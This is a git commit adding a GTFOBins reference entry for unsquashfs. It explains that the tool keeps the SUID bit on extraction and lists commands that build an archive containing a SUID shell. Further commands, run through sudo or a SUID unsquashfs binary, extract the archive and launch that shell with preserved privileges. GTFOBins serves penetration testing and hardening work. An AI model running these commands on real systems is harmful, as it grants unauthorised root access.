Add unsquashfs

Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>

_gtfobins/unsquashfs.md

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+---
+description: |
+  `unsquashfs` preserve the SUID bit when extracting the file system. Prepare an archive beforehand with the following commands as root:
+
+  ```
+  cp /bin/sh .
+  chmod +s sh
+  mksquashfs sh shell
+  ```
+
+  Extract it on the target, then run the SUID shell as usual (omitting the `-p` where appropriate).
+functions:
+  sudo:
+    - code: |
+        sudo unsquashfs shell
+        ./squashfs-root/sh -p
+  suid:
+    - code: |
+        ./unsquashfs shell
+        ./squashfs-root/sh -p
+---